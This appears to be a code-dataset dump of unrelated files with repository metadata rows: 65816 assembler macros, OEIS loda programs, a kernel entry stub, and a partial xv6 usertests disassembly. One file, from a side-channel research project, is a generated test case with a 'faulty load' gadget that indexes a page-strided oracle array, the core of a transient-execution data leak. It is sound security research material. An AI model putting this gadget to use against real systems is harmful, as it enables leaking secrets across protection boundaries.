if <preserveA> != 0
PHA
LDA <address>
INC
STA <address>
PLA
else
LDA <address>
INC
STA <address>
endif
else
INC <address>
endif
endmacro
macro M_DEC(address, preserveA)
if <address> > $FFFF
if <preserveA> != 0
PHA
LDA <address>
DEC
STA <address>
PLA
else
LDA <address>
DEC
STA <address>
endif
else
DEC <address>
endif
endmacro
macro M_LDX(address, preserveA)
if <address> > $FFFF
if <preserveA> != 0
PHA : LDA <address> : TAX : PLA
else
LDA <address> : TAX
endif
else
LDX <address>
endif
endmacro
macro M_LDY(address, preserveA)
if <address> > $FFFF
if <preserveA> != 0
PHA : LDA <address> : TAY : PLA
else
LDA <address> : TAY
endif
else
LDY <address>
endif
endmacro
macro M_STX(address, preserveA)
if <address> > $FFFF
if <preserveA> != 0
PHA : TXA : STA <address> : PLA
else
TXA : STA <address>
endif
else
STX <address>
endif
endmacro
macro M_STY(address, preserveA)
if <address> > $FFFF
if <preserveA> != 0
PHA : TYA : STA <address> : PLA
else
TYA : STA <address>
endif
else
STY <address>
endif
endmacro
| 21.121495 | 79 | 0.517257 |
467c7543516d05fbced63a3202ac7ec9ba8d701c | 5,235 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1063.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1063.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1063.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x14bdf, %rsi
lea addresses_UC_ht+0x133a8, %rdi
nop
cmp $16958, %rbp
mov $75, %rcx
rep movsq
dec %rsi
lea addresses_WT_ht+0x4f13, %r11
clflush (%r11)
nop
nop
nop
and $35985, %rax
movw $0x6162, (%r11)
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_WT_ht+0xef73, %rsi
lea addresses_WC_ht+0xc643, %rdi
nop
dec %r11
mov $108, %rcx
rep movsl
nop
xor %rax, %rax
lea addresses_normal_ht+0x8703, %rsi
lea addresses_WC_ht+0x138a6, %rdi
nop
nop
nop
and %r10, %r10
mov $102, %rcx
rep movsl
nop
nop
nop
nop
nop
xor %r10, %r10
lea addresses_normal_ht+0x13de3, %rsi
lea addresses_WC_ht+0x12b43, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
inc %rbx
mov $105, %rcx
rep movsl
cmp %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r15
push %r9
push %rbx
// Faulty Load
lea addresses_D+0x1c343, %r15
nop
add $30547, %r9
mov (%r15), %r11d
lea oracles, %rbx
and $0xff, %r11
shlq $12, %r11
mov (%rbx,%r11,1), %r11
pop %rbx
pop %r9
pop %r15
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_WC_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}, 'dst': {'same': True, 'congruent': 10, 'type': 'addresses_WC_ht'}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 46.327434 | 2,999 | 0.664183 |
79f1eaadbfcde816c28c51950d8be8e6a378a74f | 358 | asm | Assembly | programs/oeis/033/A033117.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/033/A033117.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/033/A033117.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A033117: Base 7 digits are, in order, the first n terms of the periodic sequence with initial period 1,0.
; 1,7,50,350,2451,17157,120100,840700,5884901,41194307,288360150,2018521050,14129647351,98907531457,692352720200,4846469041400,33925283289801,237476983028607,1662338881200250,11636372168401750,81454605178812251
add $0,2
mov $1,7
pow $1,$0
div $1,48
| 44.75 | 210 | 0.812849 |
84489b44fb9c82c6cddb01b44cd45cf202eac927 | 93 | asm | Assembly | boot/kernel_entry.asm | vincent-uden/Potatis-MOS | 48a42c62ebcea1e6c02490abe081a1dca54566a3 | [
"WTFPL"
] | null | null | null | boot/kernel_entry.asm | vincent-uden/Potatis-MOS | 48a42c62ebcea1e6c02490abe081a1dca54566a3 | [
"WTFPL"
] | null | null | null | boot/kernel_entry.asm | vincent-uden/Potatis-MOS | 48a42c62ebcea1e6c02490abe081a1dca54566a3 | [
"WTFPL"
] | null | null | null | ; Makes sure that we enter into the right funcion
[bits 32]
[extern main]
call main
jmp $
| 13.285714 | 49 | 0.709677 |
56d5a85f1bc463079123d947c221a3cc771a5fd9 | 402 | asm | Assembly | programs/oeis/319/A319573.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/319/A319573.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/319/A319573.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A319573: The y coordinates of the stripe enumeration of N X N where N = {0, 1, 2, ...}.
; 0,1,0,0,1,2,3,2,1,0,0,1,2,3,4,5,4,3,2,1,0,0,1,2,3,4,5,6,7,6,5,4,3,2,1,0,0,1,2,3,4,5,6,7,8,9,8,7,6,5,4,3,2,1,0,0,1,2,3,4,5,6,7,8,9,10,11,10,9,8,7,6,5,4,3,2,1,0,0,1,2,3,4,5,6
lpb $0
add $0,1
add $1,2
mov $2,$1
add $2,1
mov $1,$2
trn $2,$0
sub $0,$1
trn $0,1
add $0,$2
add $1,1
lpe
mov $1,$0
| 23.647059 | 174 | 0.517413 |
f478c7827ff78e909bf1d225c0131a9b9f7cfece | 281,622 | asm | Assembly | xv6-l/usertests.asm | xsuler/osPlayground | da1b828540b178fd9dc154539616af7f3431da45 | [
"MIT"
] | null | null | null | xv6-l/usertests.asm | xsuler/osPlayground | da1b828540b178fd9dc154539616af7f3431da45 | [
"MIT"
] | null | null | null | xv6-l/usertests.asm | xsuler/osPlayground | da1b828540b178fd9dc154539616af7f3431da45 | [
"MIT"
] | null | null | null |
_usertests: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
return randstate;
}
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 83 ec 0c sub $0xc,%esp
printf(1, "usertests starting\n");
11: 68 c6 4d 00 00 push $0x4dc6
16: 6a 01 push $0x1
18: e8 53 3a 00 00 call 3a70 <printf>
if(open("usertests.ran", 0) >= 0){
1d: 59 pop %ecx
1e: 58 pop %eax
1f: 6a 00 push $0x0
21: 68 da 4d 00 00 push $0x4dda
26: e8 d6 38 00 00 call 3901 <open>
2b: 83 c4 10 add $0x10,%esp
2e: 85 c0 test %eax,%eax
30: 78 13 js 45 <main+0x45>
printf(1, "already ran user tests -- rebuild fs.img\n");
32: 52 push %edx
33: 52 push %edx
34: 68 44 55 00 00 push $0x5544
39: 6a 01 push $0x1
3b: e8 30 3a 00 00 call 3a70 <printf>
exit();
40: e8 7c 38 00 00 call 38c1 <exit>
}
close(open("usertests.ran", O_CREATE));
45: 50 push %eax
46: 50 push %eax
47: 68 00 02 00 00 push $0x200
4c: 68 da 4d 00 00 push $0x4dda
51: e8 ab 38 00 00 call 3901 <open>
56: 89 04 24 mov %eax,(%esp)
59: e8 8b 38 00 00 call 38e9 <close>
argptest();
5e: e8 7d 35 00 00 call 35e0 <argptest>
createdelete();
63: e8 b8 11 00 00 call 1220 <createdelete>
linkunlink();
68: e8 73 1a 00 00 call 1ae0 <linkunlink>
concreate();
6d: e8 6e 17 00 00 call 17e0 <concreate>
fourfiles();
72: e8 a9 0f 00 00 call 1020 <fourfiles>
sharedfd();
77: e8 e4 0d 00 00 call e60 <sharedfd>
bigargtest();
7c: e8 1f 32 00 00 call 32a0 <bigargtest>
bigwrite();
81: e8 7a 23 00 00 call 2400 <bigwrite>
bigargtest();
86: e8 15 32 00 00 call 32a0 <bigargtest>
bsstest();
8b: e8 90 31 00 00 call 3220 <bsstest>
sbrktest();
90: e8 ab 2c 00 00 call 2d40 <sbrktest>
validatetest();
95: e8 d6 30 00 00 call 3170 <validatetest>
opentest();
9a: e8 61 03 00 00 call 400 <opentest>
writetest();
9f: e8 ec 03 00 00 call 490 <writetest>
writetest1();
a4: e8 c7 05 00 00 call 670 <writetest1>
createtest();
a9: e8 92 07 00 00 call 840 <createtest>
openiputtest();
ae: e8 4d 02 00 00 call 300 <openiputtest>
exitiputtest();
b3: e8 48 01 00 00 call 200 <exitiputtest>
iputtest();
b8: e8 63 00 00 00 call 120 <iputtest>
mem();
bd: e8 ce 0c 00 00 call d90 <mem>
pipe1();
c2: e8 59 09 00 00 call a20 <pipe1>
preempt();
c7: e8 e4 0a 00 00 call bb0 <preempt>
exitwait();
cc: e8 3f 0c 00 00 call d10 <exitwait>
rmdot();
d1: e8 1a 27 00 00 call 27f0 <rmdot>
fourteen();
d6: e8 d5 25 00 00 call 26b0 <fourteen>
bigfile();
db: e8 00 24 00 00 call 24e0 <bigfile>
subdir();
e0: e8 3b 1c 00 00 call 1d20 <subdir>
linktest();
e5: e8 e6 14 00 00 call 15d0 <linktest>
unlinkread();
ea: e8 51 13 00 00 call 1440 <unlinkread>
dirfile();
ef: e8 7c 28 00 00 call 2970 <dirfile>
iref();
f4: e8 77 2a 00 00 call 2b70 <iref>
forktest();
f9: e8 92 2b 00 00 call 2c90 <forktest>
bigdir(); // slow
fe: e8 ed 1a 00 00 call 1bf0 <bigdir>
uio();
103: e8 68 34 00 00 call 3570 <uio>
exectest();
108: e8 c3 08 00 00 call 9d0 <exectest>
exit();
10d: e8 af 37 00 00 call 38c1 <exit>
112: 66 90 xchg %ax,%ax
114: 66 90 xchg %ax,%ax
116: 66 90 xchg %ax,%ax
118: 66 90 xchg %ax,%ax
11a: 66 90 xchg %ax,%ax
11c: 66 90 xchg %ax,%ax
11e: 66 90 xchg %ax,%ax
00000120 <iputtest>:
{
120: 55 push %ebp
121: 89 e5 mov %esp,%ebp
123: 83 ec 10 sub $0x10,%esp
printf(stdout, "iput test\n");
126: 68 6c 3e 00 00 push $0x3e6c
12b: ff 35 70 5e 00 00 pushl 0x5e70
131: e8 3a 39 00 00 call 3a70 <printf>
if(mkdir("iputdir") < 0){
136: c7 04 24 ff 3d 00 00 movl $0x3dff,(%esp)
13d: e8 e7 37 00 00 call 3929 <mkdir>
142: 83 c4 10 add $0x10,%esp
145: 85 c0 test %eax,%eax
147: 78 58 js 1a1 <iputtest+0x81>
if(chdir("iputdir") < 0){
149: 83 ec 0c sub $0xc,%esp
14c: 68 ff 3d 00 00 push $0x3dff
151: e8 db 37 00 00 call 3931 <chdir>
156: 83 c4 10 add $0x10,%esp
159: 85 c0 test %eax,%eax
15b: 0f 88 85 00 00 00 js 1e6 <iputtest+0xc6>
if(unlink("../iputdir") < 0){
161: 83 ec 0c sub $0xc,%esp
164: 68 fc 3d 00 00 push $0x3dfc
169: e8 a3 37 00 00 call 3911 <unlink>
16e: 83 c4 10 add $0x10,%esp
171: 85 c0 test %eax,%eax
173: 78 5a js 1cf <iputtest+0xaf>
if(chdir("/") < 0){
175: 83 ec 0c sub $0xc,%esp
178: 68 21 3e 00 00 push $0x3e21
17d: e8 af 37 00 00 call 3931 <chdir>
182: 83 c4 10 add $0x10,%esp
185: 85 c0 test %eax,%eax
187: 78 2f js 1b8 <iputtest+0x98>
printf(stdout, "iput test ok\n");
189: 83 ec 08 sub $0x8,%esp
18c: 68 a4 3e 00 00 push $0x3ea4
191: ff 35 70 5e 00 00 pushl 0x5e70
197: e8 d4 38 00 00 call 3a70 <printf>
}
19c: 83 c4 10 add $0x10,%esp
19f: c9 leave
1a0: c3 ret
printf(stdout, "mkdir failed\n");
1a1: 50 push %eax
1a2: 50 push %eax
1a3: 68 d8 3d 00 00 push $0x3dd8
1a8: ff 35 70 5e 00 00 pushl 0x5e70
1ae: e8 bd 38 00 00 call 3a70 <printf>
exit();
1b3: e8 09 37 00 00 call 38c1 <exit>
printf(stdout, "chdir / failed\n");
1b8: 50 push %eax
1b9: 50 push %eax
1ba: 68 23 3e 00 00 push $0x3e23
1bf: ff 35 70 5e 00 00 pushl 0x5e70
1c5: e8 a6 38 00 00 call 3a70 <printf>
exit();
1ca: e8 f2 36 00 00 call 38c1 <exit>
printf(stdout, "unlink ../iputdir failed\n");
1cf: 52 push %edx
1d0: 52 push %edx
1d1: 68 07 3e 00 00 push $0x3e07
1d6: ff 35 70 5e 00 00 pushl 0x5e70
1dc: e8 8f 38 00 00 call 3a70 <printf>
exit();
1e1: e8 db 36 00 00 call 38c1 <exit>
printf(stdout, "chdir iputdir failed\n");
1e6: 51 push %ecx
1e7: 51 push %ecx
1e8: 68 e6 3d 00 00 push $0x3de6
1ed: ff 35 70 5e 00 00 pushl 0x5e70
1f3: e8 78 38 00 00 call 3a70 <printf>
exit();
1f8: e8 c4 36 00 00 call 38c1 <exit>
1fd: 8d 76 00 lea 0x0(%esi),%esi
00000200 <exitiputtest>:
{
200: 55 push %ebp
201: 89 e5 mov %esp,%ebp
203: 83 ec 10 sub $0x10,%esp
printf(stdout, "exitiput test\n");
206: 68 33 3e 00 00 push $0x3e33
20b: ff 35 70 5e 00 00 pushl 0x5e70
211: e8 5a 38 00 00 call 3a70 <printf>
pid = fork();
216: e8 9e 36 00 00 call 38b9 <fork>
if(pid < 0){
21b: 83 c4 10 add $0x10,%esp
21e: 85 c0 test %eax,%eax
220: 0f 88 8a 00 00 00 js 2b0 <exitiputtest+0xb0>
if(pid == 0){
226: 75 50 jne 278 <exitiputtest+0x78>
if(mkdir("iputdir") < 0){
228: 83 ec 0c sub $0xc,%esp
22b: 68 ff 3d 00 00 push $0x3dff
230: e8 f4 36 00 00 call 3929 <mkdir>
235: 83 c4 10 add $0x10,%esp
238: 85 c0 test %eax,%eax
23a: 0f 88 87 00 00 00 js 2c7 <exitiputtest+0xc7>
if(chdir("iputdir") < 0){
240: 83 ec 0c sub $0xc,%esp
243: 68 ff 3d 00 00 push $0x3dff
248: e8 e4 36 00 00 call 3931 <chdir>
24d: 83 c4 10 add $0x10,%esp
250: 85 c0 test %eax,%eax
252: 0f 88 86 00 00 00 js 2de <exitiputtest+0xde>
if(unlink("../iputdir") < 0){
258: 83 ec 0c sub $0xc,%esp
25b: 68 fc 3d 00 00 push $0x3dfc
260: e8 ac 36 00 00 call 3911 <unlink>
265: 83 c4 10 add $0x10,%esp
268: 85 c0 test %eax,%eax
26a: 78 2c js 298 <exitiputtest+0x98>
exit();
26c: e8 50 36 00 00 call 38c1 <exit>
271: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
wait();
278: e8 4c 36 00 00 call 38c9 <wait>
printf(stdout, "exitiput test ok\n");
27d: 83 ec 08 sub $0x8,%esp
280: 68 56 3e 00 00 push $0x3e56
285: ff 35 70 5e 00 00 pushl 0x5e70
28b: e8 e0 37 00 00 call 3a70 <printf>
}
290: 83 c4 10 add $0x10,%esp
293: c9 leave
294: c3 ret
295: 8d 76 00 lea 0x0(%esi),%esi
printf(stdout, "unlink ../iputdir failed\n");
298: 83 ec 08 sub $0x8,%esp
29b: 68 07 3e 00 00 push $0x3e07
2a0: ff 35 70 5e 00 00 pushl 0x5e70
2a6: e8 c5 37 00 00 call 3a70 <printf>
exit();
2ab: e8 11 36 00 00 call 38c1 <exit>
printf(stdout, "fork failed\n");
2b0: 51 push %ecx
2b1: 51 push %ecx
2b2: 68 19 4d 00 00 push $0x4d19
2b7: ff 35 70 5e 00 00 pushl 0x5e70
2bd: e8 ae 37 00 00 call 3a70 <printf>
exit();
2c2: e8 fa 35 00 00 call 38c1 <exit>
printf(stdout, "mkdir failed\n");
2c7: 52 push %edx
2c8: 52 push %edx
2c9: 68 d8 3d 00 00 push $0x3dd8
2ce: ff 35 70 5e 00 00 pushl 0x5e70
2d4: e8 97 37 00 00 call 3a70 <printf>
exit();
2d9: e8 e3 35 00 00 call 38c1 <exit>
printf(stdout, "child chdir failed\n");
2de: 50 push %eax
2df: 50 push %eax
2e0: 68 42 3e 00 00 push $0x3e42
2e5: ff 35 70 5e 00 00 pushl 0x5e70
2eb: e8 80 37 00 00 call 3a70 <printf>
exit();
2f0: e8 cc 35 00 00 call 38c1 <exit>
2f5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
2f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000300 <openiputtest>:
{
300: 55 push %ebp
301: 89 e5 mov %esp,%ebp
303: 83 ec 10 sub $0x10,%esp
printf(stdout, "openiput test\n");
306: 68 68 3e 00 00 push $0x3e68
30b: ff 35 70 5e 00 00 pushl 0x5e70
311: e8 5a 37 00 00 call 3a70 <printf>
if(mkdir("oidir") < 0){
316: c7 04 24 77 3e 00 00 movl $0x3e77,(%esp)
31d: e8 07 36 00 00 call 3929 <mkdir>
322: 83 c4 10 add $0x10,%esp
325: 85 c0 test %eax,%eax
327: 0f 88 9f 00 00 00 js 3cc <openiputtest+0xcc>
pid = fork();
32d: e8 87 35 00 00 call 38b9 <fork>
if(pid < 0){
332: 85 c0 test %eax,%eax
334: 78 7f js 3b5 <openiputtest+0xb5>
if(pid == 0){
336: 75 38 jne 370 <openiputtest+0x70>
int fd = open("oidir", O_RDWR);
338: 83 ec 08 sub $0x8,%esp
33b: 6a 02 push $0x2
33d: 68 77 3e 00 00 push $0x3e77
342: e8 ba 35 00 00 call 3901 <open>
if(fd >= 0){
347: 83 c4 10 add $0x10,%esp
34a: 85 c0 test %eax,%eax
34c: 78 62 js 3b0 <openiputtest+0xb0>
printf(stdout, "open directory for write succeeded\n");
34e: 83 ec 08 sub $0x8,%esp
351: 68 fc 4d 00 00 push $0x4dfc
356: ff 35 70 5e 00 00 pushl 0x5e70
35c: e8 0f 37 00 00 call 3a70 <printf>
exit();
361: e8 5b 35 00 00 call 38c1 <exit>
366: 8d 76 00 lea 0x0(%esi),%esi
369: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
sleep(1);
370: 83 ec 0c sub $0xc,%esp
373: 6a 01 push $0x1
375: e8 d7 35 00 00 call 3951 <sleep>
if(unlink("oidir") != 0){
37a: c7 04 24 77 3e 00 00 movl $0x3e77,(%esp)
381: e8 8b 35 00 00 call 3911 <unlink>
386: 83 c4 10 add $0x10,%esp
389: 85 c0 test %eax,%eax
38b: 75 56 jne 3e3 <openiputtest+0xe3>
wait();
38d: e8 37 35 00 00 call 38c9 <wait>
printf(stdout, "openiput test ok\n");
392: 83 ec 08 sub $0x8,%esp
395: 68 a0 3e 00 00 push $0x3ea0
39a: ff 35 70 5e 00 00 pushl 0x5e70
3a0: e8 cb 36 00 00 call 3a70 <printf>
3a5: 83 c4 10 add $0x10,%esp
}
3a8: c9 leave
3a9: c3 ret
3aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
exit();
3b0: e8 0c 35 00 00 call 38c1 <exit>
printf(stdout, "fork failed\n");
3b5: 52 push %edx
3b6: 52 push %edx
3b7: 68 19 4d 00 00 push $0x4d19
3bc: ff 35 70 5e 00 00 pushl 0x5e70
3c2: e8 a9 36 00 00 call 3a70 <printf>
exit();
3c7: e8 f5 34 00 00 call 38c1 <exit>
printf(stdout, "mkdir oidir failed\n");
3cc: 51 push %ecx
3cd: 51 push %ecx
3ce: 68 7d 3e 00 00 push $0x3e7d
3d3: ff 35 70 5e 00 00 pushl 0x5e70
3d9: e8 92 36 00 00 call 3a70 <printf>
exit();
3de: e8 de 34 00 00 call 38c1 <exit>
printf(stdout, "unlink failed\n");
3e3: 50 push %eax
3e4: 50 push %eax
3e5: 68 91 3e 00 00 push $0x3e91
3ea: ff 35 70 5e 00 00 pushl 0x5e70
3f0: e8 7b 36 00 00 call 3a70 <printf>
exit();
3f5: e8 c7 34 00 00 call 38c1 <exit>
3fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000400 <opentest>:
{
400: 55 push %ebp
401: 89 e5 mov %esp,%ebp
403: 83 ec 10 sub $0x10,%esp
printf(stdout, "open test\n");
406: 68 b2 3e 00 00 push $0x3eb2
40b: ff 35 70 5e 00 00 pushl 0x5e70
411: e8 5a 36 00 00 call 3a70 <printf>
fd = open("echo", 0);
416: 58 pop %eax
417: 5a pop %edx
418: 6a 00 push $0x0
41a: 68 bd 3e 00 00 push $0x3ebd
41f: e8 dd 34 00 00 call 3901 <open>
if(fd < 0){
424: 83 c4 10 add $0x10,%esp
427: 85 c0 test %eax,%eax
429: 78 36 js 461 <opentest+0x61>
close(fd);
42b: 83 ec 0c sub $0xc,%esp
42e: 50 push %eax
42f: e8 b5 34 00 00 call 38e9 <close>
fd = open("doesnotexist", 0);
434: 5a pop %edx
435: 59 pop %ecx
436: 6a 00 push $0x0
438: 68 d5 3e 00 00 push $0x3ed5
43d: e8 bf 34 00 00 call 3901 <open>
if(fd >= 0){
442: 83 c4 10 add $0x10,%esp
445: 85 c0 test %eax,%eax
447: 79 2f jns 478 <opentest+0x78>
printf(stdout, "open test ok\n");
449: 83 ec 08 sub $0x8,%esp
44c: 68 00 3f 00 00 push $0x3f00
451: ff 35 70 5e 00 00 pushl 0x5e70
457: e8 14 36 00 00 call 3a70 <printf>
}
45c: 83 c4 10 add $0x10,%esp
45f: c9 leave
460: c3 ret
printf(stdout, "open echo failed!\n");
461: 50 push %eax
462: 50 push %eax
463: 68 c2 3e 00 00 push $0x3ec2
468: ff 35 70 5e 00 00 pushl 0x5e70
46e: e8 fd 35 00 00 call 3a70 <printf>
exit();
473: e8 49 34 00 00 call 38c1 <exit>
printf(stdout, "open doesnotexist succeeded!\n");
478: 50 push %eax
479: 50 push %eax
47a: 68 e2 3e 00 00 push $0x3ee2
47f: ff 35 70 5e 00 00 pushl 0x5e70
485: e8 e6 35 00 00 call 3a70 <printf>
exit();
48a: e8 32 34 00 00 call 38c1 <exit>
48f: 90 nop
00000490 <writetest>:
{
490: 55 push %ebp
491: 89 e5 mov %esp,%ebp
493: 56 push %esi
494: 53 push %ebx
printf(stdout, "small file test\n");
495: 83 ec 08 sub $0x8,%esp
498: 68 0e 3f 00 00 push $0x3f0e
49d: ff 35 70 5e 00 00 pushl 0x5e70
4a3: e8 c8 35 00 00 call 3a70 <printf>
fd = open("small", O_CREATE|O_RDWR);
4a8: 58 pop %eax
4a9: 5a pop %edx
4aa: 68 02 02 00 00 push $0x202
4af: 68 1f 3f 00 00 push $0x3f1f
4b4: e8 48 34 00 00 call 3901 <open>
if(fd >= 0){
4b9: 83 c4 10 add $0x10,%esp
4bc: 85 c0 test %eax,%eax
4be: 0f 88 88 01 00 00 js 64c <writetest+0x1bc>
printf(stdout, "creat small succeeded; ok\n");
4c4: 83 ec 08 sub $0x8,%esp
4c7: 89 c6 mov %eax,%esi
for(i = 0; i < 100; i++){
4c9: 31 db xor %ebx,%ebx
printf(stdout, "creat small succeeded; ok\n");
4cb: 68 25 3f 00 00 push $0x3f25
4d0: ff 35 70 5e 00 00 pushl 0x5e70
4d6: e8 95 35 00 00 call 3a70 <printf>
4db: 83 c4 10 add $0x10,%esp
4de: 66 90 xchg %ax,%ax
if(write(fd, "aaaaaaaaaa", 10) != 10){
4e0: 83 ec 04 sub $0x4,%esp
4e3: 6a 0a push $0xa
4e5: 68 5c 3f 00 00 push $0x3f5c
4ea: 56 push %esi
4eb: e8 f1 33 00 00 call 38e1 <write>
4f0: 83 c4 10 add $0x10,%esp
4f3: 83 f8 0a cmp $0xa,%eax
4f6: 0f 85 d9 00 00 00 jne 5d5 <writetest+0x145>
if(write(fd, "bbbbbbbbbb", 10) != 10){
4fc: 83 ec 04 sub $0x4,%esp
